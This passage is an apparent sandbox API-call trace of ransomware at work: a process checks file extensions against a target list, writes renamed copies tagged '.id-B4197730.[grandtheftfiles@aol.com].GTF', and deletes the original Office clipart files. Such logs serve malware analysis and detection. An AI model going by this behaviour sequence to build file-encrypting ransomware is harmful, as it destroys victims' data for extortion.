	[0156.049] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.049] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.281] CloseHandle (hObject=0x4a4) returned 1
	[0156.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0156.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.282] lstrlenW (lpString=".doc") returned 4
	[0156.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString=".docx") returned 5
	[0156.282] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0156.282] lstrlenW (lpString=".pdf") returned 4
	[0156.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString=".xls") returned 4
	[0156.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.282] lstrlenW (lpString=".xlsx") returned 5
	[0156.282] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0156.282] lstrlenW (lpString=".ppt") returned 4
	[0156.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.282] lstrlenW (lpString=".zip") returned 4
	[0156.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.282] lstrlenW (lpString=".rar") returned 4
	[0156.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString=".bz2") returned 4
	[0156.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString=".7z") returned 3
	[0156.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.282] lstrlenW (lpString=".dbf") returned 4
	[0156.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.282] lstrlenW (lpString=".1cd") returned 4
	[0156.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.282] lstrlenW (lpString=".jpg") returned 4
	[0156.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.283] lstrlenW (lpString=".doc") returned 4
	[0156.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString=".docx") returned 5
	[0156.283] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0156.283] lstrlenW (lpString=".pdf") returned 4
	[0156.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString=".xls") returned 4
	[0156.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.283] lstrlenW (lpString=".xlsx") returned 5
	[0156.283] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0156.283] lstrlenW (lpString=".ppt") returned 4
	[0156.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.283] lstrlenW (lpString=".zip") returned 4
	[0156.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.283] lstrlenW (lpString=".rar") returned 4
	[0156.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString=".bz2") returned 4
	[0156.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString=".7z") returned 3
	[0156.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.283] lstrlenW (lpString=".dbf") returned 4
	[0156.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.283] lstrlenW (lpString=".1cd") returned 4
	[0156.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0156.283] lstrlenW (lpString=".jpg") returned 4
	[0156.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.284] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.284] lstrlenW (lpString="J0099147.JPG") returned 12
	[0156.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.285] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=24377) returned 1
	[0156.285] CloseHandle (hObject=0x4a4) returned 1
	[0156.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220
	[0156.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.286] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.286] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.287] GetLastError () returned 0x0
	[0156.287] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x5f39, lpOverlapped=0x0) returned 1
	[0156.289] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0156.291] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.291] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.291] SetEndOfFile (hFile=0x42c) returned 1
	[0156.291] CloseHandle (hObject=0x42c) returned 1
	[0156.292] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.292] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.294] CloseHandle (hObject=0x4a4) returned 1
	[0156.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1
	[0156.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.295] lstrlenW (lpString=".doc") returned 4
	[0156.295] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.295] lstrlenW (lpString=".docx") returned 5
	[0156.295] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.295] lstrlenW (lpString=".pdf") returned 4
	[0156.295] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.295] lstrlenW (lpString=".xls") returned 4
	[0156.296] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.296] lstrlenW (lpString=".xlsx") returned 5
	[0156.296] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.296] lstrlenW (lpString=".ppt") returned 4
	[0156.296] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.296] lstrlenW (lpString=".zip") returned 4
	[0156.296] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.296] lstrlenW (lpString=".rar") returned 4
	[0156.296] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.296] lstrlenW (lpString=".bz2") returned 4
	[0156.296] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.296] lstrlenW (lpString=".7z") returned 3
	[0156.296] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.296] lstrlenW (lpString=".dbf") returned 4
	[0156.296] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.296] lstrlenW (lpString=".1cd") returned 4
	[0156.296] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.296] lstrlenW (lpString=".jpg") returned 4
	[0156.296] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.296] lstrlenW (lpString=".doc") returned 4
	[0156.296] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.296] lstrlenW (lpString=".docx") returned 5
	[0156.296] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.296] lstrlenW (lpString=".pdf") returned 4
	[0156.296] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.296] lstrlenW (lpString=".xls") returned 4
	[0156.296] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.296] lstrlenW (lpString=".xlsx") returned 5
	[0156.296] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.296] lstrlenW (lpString=".ppt") returned 4
	[0156.296] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.297] lstrlenW (lpString=".zip") returned 4
	[0156.297] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.297] lstrlenW (lpString=".rar") returned 4
	[0156.297] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.297] lstrlenW (lpString=".bz2") returned 4
	[0156.297] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.297] lstrlenW (lpString=".7z") returned 3
	[0156.297] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.297] lstrlenW (lpString=".dbf") returned 4
	[0156.297] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.297] lstrlenW (lpString=".1cd") returned 4
	[0156.297] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0156.297] lstrlenW (lpString=".jpg") returned 4
	[0156.297] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.297] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.297] lstrlenW (lpString="J0099148.JPG") returned 12
	[0156.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.298] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=18258) returned 1
	[0156.298] CloseHandle (hObject=0x4a4) returned 1
	[0156.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220
	[0156.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.298] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.298] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.299] GetLastError () returned 0x0
	[0156.299] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4752, lpOverlapped=0x0) returned 1
	[0156.301] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0156.303] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.303] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.303] SetEndOfFile (hFile=0x42c) returned 1
	[0156.303] CloseHandle (hObject=0x42c) returned 1
	[0156.303] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.303] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.308] CloseHandle (hObject=0x4a4) returned 1
	[0156.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1
	[0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.309] lstrlenW (lpString=".doc") returned 4
	[0156.309] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.309] lstrlenW (lpString=".docx") returned 5
	[0156.309] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0156.309] lstrlenW (lpString=".pdf") returned 4
	[0156.309] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.309] lstrlenW (lpString=".xls") returned 4
	[0156.309] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.309] lstrlenW (lpString=".xlsx") returned 5
	[0156.309] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0156.309] lstrlenW (lpString=".ppt") returned 4
	[0156.309] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.309] lstrlenW (lpString=".zip") returned 4
	[0156.309] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.309] lstrlenW (lpString=".rar") returned 4
	[0156.309] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.309] lstrlenW (lpString=".bz2") returned 4
	[0156.309] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.309] lstrlenW (lpString=".7z") returned 3
	[0156.309] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".dbf") returned 4
	[0156.310] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".1cd") returned 4
	[0156.310] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".jpg") returned 4
	[0156.310] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".doc") returned 4
	[0156.310] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.310] lstrlenW (lpString=".docx") returned 5
	[0156.310] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0156.310] lstrlenW (lpString=".pdf") returned 4
	[0156.310] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.310] lstrlenW (lpString=".xls") returned 4
	[0156.310] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.310] lstrlenW (lpString=".xlsx") returned 5
	[0156.310] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0156.310] lstrlenW (lpString=".ppt") returned 4
	[0156.310] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".zip") returned 4
	[0156.310] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.310] lstrlenW (lpString=".rar") returned 4
	[0156.310] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.310] lstrlenW (lpString=".bz2") returned 4
	[0156.310] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.310] lstrlenW (lpString=".7z") returned 3
	[0156.310] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".dbf") returned 4
	[0156.310] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.310] lstrlenW (lpString=".1cd") returned 4
	[0156.311] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0156.311] lstrlenW (lpString=".jpg") returned 4
	[0156.311] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.311] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0156.311] lstrlenW (lpString="J0099149.WMF") returned 12
	[0156.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.311] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=73214) returned 1
	[0156.311] CloseHandle (hObject=0x4a4) returned 1
	[0156.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220
	[0156.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.312] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.312] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.312] GetLastError () returned 0x0
	[0156.312] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x11dfe, lpOverlapped=0x0) returned 1
	[0156.654] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x11e00, lpOverlapped=0x0) returned 1
	[0156.656] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.656] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
